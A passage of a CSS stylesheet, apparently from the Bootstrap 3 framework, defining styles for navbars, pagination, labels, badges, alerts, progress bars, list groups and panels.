bottom: 0;\n margin-bottom: 0;\n border-width: 1px 0 0;\n}\n.navbar-brand {\n float: left;\n padding: 15px 15px;\n font-size: 18px;\n line-height: 20px;\n height: 50px;\n}\n.navbar-brand:hover,\n.navbar-brand:focus {\n text-decoration: none;\n}\n.navbar-brand > img {\n display: block;\n}\n@media (min-width: 768px) {\n .navbar > .container .navbar-brand,\n .navbar > .container-fluid .navbar-brand {\n margin-left: -15px;\n }\n}\n.navbar-toggle {\n position: relative;\n float: right;\n margin-right: 15px;\n padding: 9px 10px;\n margin-top: 8px;\n margin-bottom: 8px;\n background-color: transparent;\n background-image: none;\n border: 1px solid transparent;\n border-radius: 4px;\n}\n.navbar-toggle:focus {\n outline: 0;\n}\n.navbar-toggle .icon-bar {\n display: block;\n width: 22px;\n height: 2px;\n border-radius: 1px;\n}\n.navbar-toggle .icon-bar + .icon-bar {\n margin-top: 4px;\n}\n@media (min-width: 768px) {\n .navbar-toggle {\n display: none;\n }\n}\n.navbar-nav {\n margin: 7.5px -15px;\n}\n.navbar-nav > li > a {\n padding-top: 10px;\n padding-bottom: 10px;\n line-height: 20px;\n}\n@media (max-width: 767px) {\n .navbar-nav .open .dropdown-menu {\n position: static;\n float: none;\n width: auto;\n margin-top: 0;\n background-color: transparent;\n border: 0;\n box-shadow: none;\n }\n .navbar-nav .open .dropdown-menu > li > a,\n .navbar-nav .open .dropdown-menu .dropdown-header {\n padding: 5px 15px 5px 25px;\n }\n .navbar-nav .open .dropdown-menu > li > a {\n line-height: 20px;\n }\n .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-nav .open .dropdown-menu > li > a:focus {\n background-image: none;\n }\n}\n@media (min-width: 768px) {\n .navbar-nav {\n float: left;\n margin: 0;\n }\n .navbar-nav > li {\n float: left;\n }\n .navbar-nav > li > a {\n padding-top: 15px;\n padding-bottom: 15px;\n }\n}\n.navbar-form {\n margin-left: -15px;\n margin-right: -15px;\n padding: 10px 15px;\n border-top: 1px solid transparent;\n border-bottom: 1px solid transparent;\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);\n margin-top: 8px;\n margin-bottom: 8px;\n}\n@media (min-width: 768px) {\n .navbar-form .form-group {\n display: inline-block;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .navbar-form .form-control-static {\n display: inline-block;\n }\n .navbar-form .input-group {\n display: inline-table;\n vertical-align: middle;\n }\n .navbar-form .input-group .input-group-addon,\n .navbar-form .input-group .input-group-btn,\n .navbar-form .input-group .form-control {\n width: auto;\n }\n .navbar-form .input-group > .form-control {\n width: 100%;\n }\n .navbar-form .control-label {\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .radio,\n .navbar-form .checkbox {\n display: inline-block;\n margin-top: 0;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .radio label,\n .navbar-form .checkbox label {\n padding-left: 0;\n }\n .navbar-form .radio input[type=\"radio\"],\n .navbar-form .checkbox input[type=\"checkbox\"] {\n position: relative;\n margin-left: 0;\n }\n .navbar-form .has-feedback .form-control-feedback {\n top: 0;\n }\n}\n@media (max-width: 767px) {\n .navbar-form .form-group {\n margin-bottom: 5px;\n }\n .navbar-form .form-group:last-child {\n margin-bottom: 0;\n }\n}\n@media (min-width: 768px) {\n .navbar-form {\n width: auto;\n border: 0;\n margin-left: 0;\n margin-right: 0;\n padding-top: 0;\n padding-bottom: 0;\n -webkit-box-shadow: none;\n box-shadow: none;\n }\n}\n.navbar-nav > li > .dropdown-menu {\n margin-top: 0;\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n margin-bottom: 0;\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.navbar-btn {\n margin-top: 8px;\n margin-bottom: 8px;\n}\n.navbar-btn.btn-sm {\n margin-top: 10px;\n margin-bottom: 10px;\n}\n.navbar-btn.btn-xs {\n margin-top: 14px;\n margin-bottom: 14px;\n}\n.navbar-text {\n margin-top: 15px;\n margin-bottom: 15px;\n}\n@media (min-width: 768px) {\n .navbar-text {\n float: left;\n margin-left: 15px;\n margin-right: 15px;\n }\n}\n@media (min-width: 768px) {\n .navbar-left {\n float: left !important;\n }\n .navbar-right {\n float: right !important;\n margin-right: -15px;\n }\n .navbar-right ~ .navbar-right {\n margin-right: 0;\n }\n}\n.navbar-default {\n background-color: #f8f8f8;\n border-color: #e7e7e7;\n}\n.navbar-default .navbar-brand {\n color: #777;\n}\n.navbar-default .navbar-brand:hover,\n.navbar-default .navbar-brand:focus {\n color: #5e5e5e;\n background-color: transparent;\n}\n.navbar-default .navbar-text {\n color: #777;\n}\n.navbar-default .navbar-nav > li > a {\n color: #777;\n}\n.navbar-default .navbar-nav > li > a:hover,\n.navbar-default .navbar-nav > li > a:focus {\n color: #333;\n background-color: transparent;\n}\n.navbar-default .navbar-nav > .active > a,\n.navbar-default .navbar-nav > .active > a:hover,\n.navbar-default .navbar-nav > .active > a:focus {\n color: #555;\n background-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .disabled > a,\n.navbar-default .navbar-nav > .disabled > a:hover,\n.navbar-default .navbar-nav > .disabled > a:focus {\n color: #ccc;\n background-color: transparent;\n}\n.navbar-default .navbar-toggle {\n border-color: #ddd;\n}\n.navbar-default .navbar-toggle:hover,\n.navbar-default .navbar-toggle:focus {\n background-color: #ddd;\n}\n.navbar-default .navbar-toggle .icon-bar {\n background-color: #888;\n}\n.navbar-default .navbar-collapse,\n.navbar-default .navbar-form {\n border-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .open > a:hover,\n.navbar-default .navbar-nav > .open > a:focus {\n background-color: #e7e7e7;\n color: #555;\n}\n@media (max-width: 767px) {\n .navbar-default .navbar-nav .open .dropdown-menu > li > a {\n color: #777;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {\n color: #333;\n background-color: transparent;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a,\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #555;\n background-color: #e7e7e7;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n color: #ccc;\n background-color: transparent;\n }\n}\n.navbar-default .navbar-link {\n color: #777;\n}\n.navbar-default .navbar-link:hover {\n color: #333;\n}\n.navbar-default .btn-link {\n color: #777;\n}\n.navbar-default .btn-link:hover,\n.navbar-default .btn-link:focus {\n color: #333;\n}\n.navbar-default .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-default .btn-link:hover,\n.navbar-default .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-default .btn-link:focus {\n color: #ccc;\n}\n.navbar-inverse {\n background-color: #222;\n border-color: #080808;\n}\n.navbar-inverse .navbar-brand {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-brand:hover,\n.navbar-inverse .navbar-brand:focus {\n color: #fff;\n background-color: transparent;\n}\n.navbar-inverse .navbar-text {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a:hover,\n.navbar-inverse .navbar-nav > li > a:focus {\n color: #fff;\n background-color: transparent;\n}\n.navbar-inverse .navbar-nav > .active > a,\n.navbar-inverse .navbar-nav > .active > a:hover,\n.navbar-inverse .navbar-nav > .active > a:focus {\n color: #fff;\n background-color: #080808;\n}\n.navbar-inverse .navbar-nav > .disabled > a,\n.navbar-inverse .navbar-nav > .disabled > a:hover,\n.navbar-inverse .navbar-nav > .disabled > a:focus {\n color: #444;\n background-color: transparent;\n}\n.navbar-inverse .navbar-toggle {\n border-color: #333;\n}\n.navbar-inverse .navbar-toggle:hover,\n.navbar-inverse .navbar-toggle:focus {\n background-color: #333;\n}\n.navbar-inverse .navbar-toggle .icon-bar {\n background-color: #fff;\n}\n.navbar-inverse .navbar-collapse,\n.navbar-inverse .navbar-form {\n border-color: #101010;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .open > a:hover,\n.navbar-inverse .navbar-nav > .open > a:focus {\n background-color: #080808;\n color: #fff;\n}\n@media (max-width: 767px) {\n .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {\n border-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu .divider {\n background-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {\n color: #9d9d9d;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {\n color: #fff;\n background-color: transparent;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #fff;\n background-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n color: #444;\n background-color: transparent;\n }\n}\n.navbar-inverse .navbar-link {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-link:hover {\n color: #fff;\n}\n.navbar-inverse .btn-link {\n color: #9d9d9d;\n}\n.navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link:focus {\n color: #fff;\n}\n.navbar-inverse .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-inverse .btn-link:focus {\n color: #444;\n}\n.breadcrumb {\n padding: 8px 15px;\n margin-bottom: 20px;\n list-style: none;\n background-color: #f5f5f5;\n border-radius: 4px;\n}\n.breadcrumb > li {\n display: inline-block;\n}\n.breadcrumb > li + li:before {\n content: \"/\\00a0\";\n padding: 0 5px;\n color: #ccc;\n}\n.breadcrumb > .active {\n color: #777777;\n}\n.pagination {\n display: inline-block;\n padding-left: 0;\n margin: 20px 0;\n border-radius: 4px;\n}\n.pagination > li {\n display: inline;\n}\n.pagination > li > a,\n.pagination > li > span {\n position: relative;\n float: left;\n padding: 6px 12px;\n line-height: 1.42857143;\n text-decoration: none;\n color: #337ab7;\n background-color: #fff;\n border: 1px solid #ddd;\n margin-left: -1px;\n}\n.pagination > li:first-child > a,\n.pagination > li:first-child > span {\n margin-left: 0;\n border-bottom-left-radius: 4px;\n border-top-left-radius: 4px;\n}\n.pagination > li:last-child > a,\n.pagination > li:last-child > span {\n border-bottom-right-radius: 4px;\n border-top-right-radius: 4px;\n}\n.pagination > li > a:hover,\n.pagination > li > span:hover,\n.pagination > li > a:focus,\n.pagination > li > span:focus {\n z-index: 2;\n color: #23527c;\n background-color: #eeeeee;\n border-color: #ddd;\n}\n.pagination > .active > a,\n.pagination > .active > span,\n.pagination > .active > a:hover,\n.pagination > .active > span:hover,\n.pagination > .active > a:focus,\n.pagination > .active > span:focus {\n z-index: 3;\n color: #fff;\n background-color: #337ab7;\n border-color: #337ab7;\n cursor: default;\n}\n.pagination > .disabled > span,\n.pagination > .disabled > span:hover,\n.pagination > .disabled > span:focus,\n.pagination > .disabled > a,\n.pagination > .disabled > a:hover,\n.pagination > .disabled > a:focus {\n color: #777777;\n background-color: #fff;\n border-color: #ddd;\n cursor: not-allowed;\n}\n.pagination-lg > li > a,\n.pagination-lg > li > span {\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n}\n.pagination-lg > li:first-child > a,\n.pagination-lg > li:first-child > span {\n border-bottom-left-radius: 6px;\n border-top-left-radius: 6px;\n}\n.pagination-lg > li:last-child > a,\n.pagination-lg > li:last-child > span {\n border-bottom-right-radius: 6px;\n border-top-right-radius: 6px;\n}\n.pagination-sm > li > a,\n.pagination-sm > li > span {\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n}\n.pagination-sm > li:first-child > a,\n.pagination-sm > li:first-child > span {\n border-bottom-left-radius: 3px;\n border-top-left-radius: 3px;\n}\n.pagination-sm > li:last-child > a,\n.pagination-sm > li:last-child > span {\n border-bottom-right-radius: 3px;\n border-top-right-radius: 3px;\n}\n.pager {\n padding-left: 0;\n margin: 20px 0;\n list-style: none;\n text-align: center;\n}\n.pager li {\n display: inline;\n}\n.pager li > a,\n.pager li > span {\n display: inline-block;\n padding: 5px 14px;\n background-color: #fff;\n border: 1px solid #ddd;\n border-radius: 15px;\n}\n.pager li > a:hover,\n.pager li > a:focus {\n text-decoration: none;\n background-color: #eeeeee;\n}\n.pager .next > a,\n.pager .next > span {\n float: right;\n}\n.pager .previous > a,\n.pager .previous > span {\n float: left;\n}\n.pager .disabled > a,\n.pager .disabled > a:hover,\n.pager .disabled > a:focus,\n.pager .disabled > span {\n color: #777777;\n background-color: #fff;\n cursor: not-allowed;\n}\n.label {\n display: inline;\n padding: .2em .6em .3em;\n font-size: 75%;\n font-weight: bold;\n line-height: 1;\n color: #fff;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n border-radius: .25em;\n}\na.label:hover,\na.label:focus {\n color: #fff;\n text-decoration: none;\n cursor: pointer;\n}\n.label:empty {\n display: none;\n}\n.btn .label {\n position: relative;\n top: -1px;\n}\n.label-default {\n background-color: #777777;\n}\n.label-default[href]:hover,\n.label-default[href]:focus {\n background-color: #5e5e5e;\n}\n.label-primary {\n background-color: #337ab7;\n}\n.label-primary[href]:hover,\n.label-primary[href]:focus {\n background-color: #286090;\n}\n.label-success {\n background-color: #5cb85c;\n}\n.label-success[href]:hover,\n.label-success[href]:focus {\n background-color: #449d44;\n}\n.label-info {\n background-color: #5bc0de;\n}\n.label-info[href]:hover,\n.label-info[href]:focus {\n background-color: #31b0d5;\n}\n.label-warning {\n background-color: #f0ad4e;\n}\n.label-warning[href]:hover,\n.label-warning[href]:focus {\n background-color: #ec971f;\n}\n.label-danger {\n background-color: #d9534f;\n}\n.label-danger[href]:hover,\n.label-danger[href]:focus {\n background-color: #c9302c;\n}\n.badge {\n display: inline-block;\n min-width: 10px;\n padding: 3px 7px;\n font-size: 12px;\n font-weight: bold;\n color: #fff;\n line-height: 1;\n vertical-align: middle;\n white-space: nowrap;\n text-align: center;\n background-color: #777777;\n border-radius: 10px;\n}\n.badge:empty {\n display: none;\n}\n.btn .badge {\n position: relative;\n top: -1px;\n}\n.btn-xs .badge,\n.btn-group-xs > .btn .badge {\n top: 0;\n padding: 1px 5px;\n}\na.badge:hover,\na.badge:focus {\n color: #fff;\n text-decoration: none;\n cursor: pointer;\n}\n.list-group-item.active > .badge,\n.nav-pills > .active > a > .badge {\n color: #337ab7;\n background-color: #fff;\n}\n.list-group-item > .badge {\n float: right;\n}\n.list-group-item > .badge + .badge {\n margin-right: 5px;\n}\n.nav-pills > li > a > .badge {\n margin-left: 3px;\n}\n.jumbotron {\n padding-top: 30px;\n padding-bottom: 30px;\n margin-bottom: 30px;\n color: inherit;\n background-color: #eeeeee;\n}\n.jumbotron h1,\n.jumbotron .h1 {\n color: inherit;\n}\n.jumbotron p {\n margin-bottom: 15px;\n font-size: 21px;\n font-weight: 200;\n}\n.jumbotron > hr {\n border-top-color: #d5d5d5;\n}\n.container .jumbotron,\n.container-fluid .jumbotron {\n border-radius: 6px;\n padding-left: 15px;\n padding-right: 15px;\n}\n.jumbotron .container {\n max-width: 100%;\n}\n@media screen and (min-width: 768px) {\n .jumbotron {\n padding-top: 48px;\n padding-bottom: 48px;\n }\n .container .jumbotron,\n .container-fluid .jumbotron {\n padding-left: 60px;\n padding-right: 60px;\n }\n .jumbotron h1,\n .jumbotron .h1 {\n font-size: 63px;\n }\n}\n.thumbnail {\n display: block;\n padding: 4px;\n margin-bottom: 20px;\n line-height: 1.42857143;\n background-color: #fff;\n border: 1px solid #ddd;\n border-radius: 4px;\n -webkit-transition: border 0.2s ease-in-out;\n -o-transition: border 0.2s ease-in-out;\n transition: border 0.2s ease-in-out;\n}\n.thumbnail > img,\n.thumbnail a > img {\n margin-left: auto;\n margin-right: auto;\n}\na.thumbnail:hover,\na.thumbnail:focus,\na.thumbnail.active {\n border-color: #337ab7;\n}\n.thumbnail .caption {\n padding: 9px;\n color: #333333;\n}\n.alert {\n padding: 15px;\n margin-bottom: 20px;\n border: 1px solid transparent;\n border-radius: 4px;\n}\n.alert h4 {\n margin-top: 0;\n color: inherit;\n}\n.alert .alert-link {\n font-weight: bold;\n}\n.alert > p,\n.alert > ul {\n margin-bottom: 0;\n}\n.alert > p + p {\n margin-top: 5px;\n}\n.alert-dismissable,\n.alert-dismissible {\n padding-right: 35px;\n}\n.alert-dismissable .close,\n.alert-dismissible .close {\n position: relative;\n top: -2px;\n right: -21px;\n color: inherit;\n}\n.alert-success {\n background-color: #dff0d8;\n border-color: #d6e9c6;\n color: #3c763d;\n}\n.alert-success hr {\n border-top-color: #c9e2b3;\n}\n.alert-success .alert-link {\n color: #2b542c;\n}\n.alert-info {\n background-color: #d9edf7;\n border-color: #bce8f1;\n color: #31708f;\n}\n.alert-info hr {\n border-top-color: #a6e1ec;\n}\n.alert-info .alert-link {\n color: #245269;\n}\n.alert-warning {\n background-color: #fcf8e3;\n border-color: #faebcc;\n color: #8a6d3b;\n}\n.alert-warning hr {\n border-top-color: #f7e1b5;\n}\n.alert-warning .alert-link {\n color: #66512c;\n}\n.alert-danger {\n background-color: #f2dede;\n border-color: #ebccd1;\n color: #a94442;\n}\n.alert-danger hr {\n border-top-color: #e4b9c0;\n}\n.alert-danger .alert-link {\n color: #843534;\n}\n@-webkit-keyframes progress-bar-stripes {\n from {\n background-position: 40px 0;\n }\n to {\n background-position: 0 0;\n }\n}\n@keyframes progress-bar-stripes {\n from {\n background-position: 40px 0;\n }\n to {\n background-position: 0 0;\n }\n}\n.progress {\n overflow: hidden;\n height: 20px;\n margin-bottom: 20px;\n background-color: #f5f5f5;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n}\n.progress-bar {\n float: left;\n width: 0%;\n height: 100%;\n font-size: 12px;\n line-height: 20px;\n color: #fff;\n text-align: center;\n background-color: #337ab7;\n -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n -webkit-transition: width 0.6s ease;\n -o-transition: width 0.6s ease;\n transition: width 0.6s ease;\n}\n.progress-striped .progress-bar,\n.progress-bar-striped {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-size: 40px 40px;\n}\n.progress.active .progress-bar,\n.progress-bar.active {\n -webkit-animation: progress-bar-stripes 2s linear infinite;\n -o-animation: progress-bar-stripes 2s linear infinite;\n animation: progress-bar-stripes 2s linear infinite;\n}\n.progress-bar-success {\n background-color: #5cb85c;\n}\n.progress-striped .progress-bar-success {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-info {\n background-color: #5bc0de;\n}\n.progress-striped .progress-bar-info {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-warning {\n background-color: #f0ad4e;\n}\n.progress-striped .progress-bar-warning {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-danger {\n background-color: #d9534f;\n}\n.progress-striped .progress-bar-danger {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.media {\n margin-top: 15px;\n}\n.media:first-child {\n margin-top: 0;\n}\n.media,\n.media-body {\n zoom: 1;\n overflow: hidden;\n}\n.media-body {\n width: 10000px;\n}\n.media-object {\n display: block;\n}\n.media-object.img-thumbnail {\n max-width: none;\n}\n.media-right,\n.media > .pull-right {\n padding-left: 10px;\n}\n.media-left,\n.media > .pull-left {\n padding-right: 10px;\n}\n.media-left,\n.media-right,\n.media-body {\n display: table-cell;\n vertical-align: top;\n}\n.media-middle {\n vertical-align: middle;\n}\n.media-bottom {\n vertical-align: bottom;\n}\n.media-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.media-list {\n padding-left: 0;\n list-style: none;\n}\n.list-group {\n margin-bottom: 20px;\n padding-left: 0;\n}\n.list-group-item {\n position: relative;\n display: block;\n padding: 10px 15px;\n margin-bottom: -1px;\n background-color: #fff;\n border: 1px solid #ddd;\n}\n.list-group-item:first-child {\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n}\n.list-group-item:last-child {\n margin-bottom: 0;\n border-bottom-right-radius: 4px;\n border-bottom-left-radius: 4px;\n}\na.list-group-item,\nbutton.list-group-item {\n color: #555;\n}\na.list-group-item .list-group-item-heading,\nbutton.list-group-item .list-group-item-heading {\n color: #333;\n}\na.list-group-item:hover,\nbutton.list-group-item:hover,\na.list-group-item:focus,\nbutton.list-group-item:focus {\n text-decoration: none;\n color: #555;\n background-color: #f5f5f5;\n}\nbutton.list-group-item {\n width: 100%;\n text-align: left;\n}\n.list-group-item.disabled,\n.list-group-item.disabled:hover,\n.list-group-item.disabled:focus {\n background-color: #eeeeee;\n color: #777777;\n cursor: not-allowed;\n}\n.list-group-item.disabled .list-group-item-heading,\n.list-group-item.disabled:hover .list-group-item-heading,\n.list-group-item.disabled:focus .list-group-item-heading {\n color: inherit;\n}\n.list-group-item.disabled .list-group-item-text,\n.list-group-item.disabled:hover .list-group-item-text,\n.list-group-item.disabled:focus .list-group-item-text {\n color: #777777;\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n z-index: 2;\n color: #fff;\n background-color: #337ab7;\n border-color: #337ab7;\n}\n.list-group-item.active .list-group-item-heading,\n.list-group-item.active:hover .list-group-item-heading,\n.list-group-item.active:focus .list-group-item-heading,\n.list-group-item.active .list-group-item-heading > small,\n.list-group-item.active:hover .list-group-item-heading > small,\n.list-group-item.active:focus .list-group-item-heading > small,\n.list-group-item.active .list-group-item-heading > .small,\n.list-group-item.active:hover .list-group-item-heading > .small,\n.list-group-item.active:focus .list-group-item-heading > .small {\n color: inherit;\n}\n.list-group-item.active .list-group-item-text,\n.list-group-item.active:hover .list-group-item-text,\n.list-group-item.active:focus .list-group-item-text {\n color: #c7ddef;\n}\n.list-group-item-success {\n color: #3c763d;\n background-color: #dff0d8;\n}\na.list-group-item-success,\nbutton.list-group-item-success {\n color: #3c763d;\n}\na.list-group-item-success .list-group-item-heading,\nbutton.list-group-item-success .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-success:hover,\nbutton.list-group-item-success:hover,\na.list-group-item-success:focus,\nbutton.list-group-item-success:focus {\n color: #3c763d;\n background-color: #d0e9c6;\n}\na.list-group-item-success.active,\nbutton.list-group-item-success.active,\na.list-group-item-success.active:hover,\nbutton.list-group-item-success.active:hover,\na.list-group-item-success.active:focus,\nbutton.list-group-item-success.active:focus {\n color: #fff;\n background-color: #3c763d;\n border-color: #3c763d;\n}\n.list-group-item-info {\n color: #31708f;\n background-color: #d9edf7;\n}\na.list-group-item-info,\nbutton.list-group-item-info {\n color: #31708f;\n}\na.list-group-item-info .list-group-item-heading,\nbutton.list-group-item-info .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-info:hover,\nbutton.list-group-item-info:hover,\na.list-group-item-info:focus,\nbutton.list-group-item-info:focus {\n color: #31708f;\n background-color: #c4e3f3;\n}\na.list-group-item-info.active,\nbutton.list-group-item-info.active,\na.list-group-item-info.active:hover,\nbutton.list-group-item-info.active:hover,\na.list-group-item-info.active:focus,\nbutton.list-group-item-info.active:focus {\n color: #fff;\n background-color: #31708f;\n border-color: #31708f;\n}\n.list-group-item-warning {\n color: #8a6d3b;\n background-color: #fcf8e3;\n}\na.list-group-item-warning,\nbutton.list-group-item-warning {\n color: #8a6d3b;\n}\na.list-group-item-warning .list-group-item-heading,\nbutton.list-group-item-warning .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-warning:hover,\nbutton.list-group-item-warning:hover,\na.list-group-item-warning:focus,\nbutton.list-group-item-warning:focus {\n color: #8a6d3b;\n background-color: #faf2cc;\n}\na.list-group-item-warning.active,\nbutton.list-group-item-warning.active,\na.list-group-item-warning.active:hover,\nbutton.list-group-item-warning.active:hover,\na.list-group-item-warning.active:focus,\nbutton.list-group-item-warning.active:focus {\n color: #fff;\n background-color: #8a6d3b;\n border-color: #8a6d3b;\n}\n.list-group-item-danger {\n color: #a94442;\n background-color: #f2dede;\n}\na.list-group-item-danger,\nbutton.list-group-item-danger {\n color: #a94442;\n}\na.list-group-item-danger .list-group-item-heading,\nbutton.list-group-item-danger .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-danger:hover,\nbutton.list-group-item-danger:hover,\na.list-group-item-danger:focus,\nbutton.list-group-item-danger:focus {\n color: #a94442;\n background-color: #ebcccc;\n}\na.list-group-item-danger.active,\nbutton.list-group-item-danger.active,\na.list-group-item-danger.active:hover,\nbutton.list-group-item-danger.active:hover,\na.list-group-item-danger.active:focus,\nbutton.list-group-item-danger.active:focus {\n color: #fff;\n background-color: #a94442;\n border-color: #a94442;\n}\n.list-group-item-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.list-group-item-text {\n margin-bottom: 0;\n line-height: 1.3;\n}\n.panel {\n margin-bottom: 20px;\n background-color: #fff;\n border: 1px solid transparent;\n border-radius: 4px;\n -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);\n box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n.panel-body {\n padding: 15px;\n}\n.panel-heading {\n padding: 10px 15px;\n border-bottom: 1px solid transparent;\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel-heading > .dropdown .dropdown-toggle {\n color: inherit;\n}\n.panel-title {\n margin-top: 0;\n margin-bottom: 0;\n font-size: 16px;\n color: inherit;\n}\n.panel-title > a,\n.panel-title > small,\n.panel-title > .small,\n.panel-title > small > a,\n.panel-title > .small > a {\n color: inherit;\n}\n.panel-footer {\n padding: 10px 15px;\n background-color: #f5f5f5;\n border-top: 1px solid #ddd;\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .list-group,\n.panel > .panel-collapse > .list-group {\n 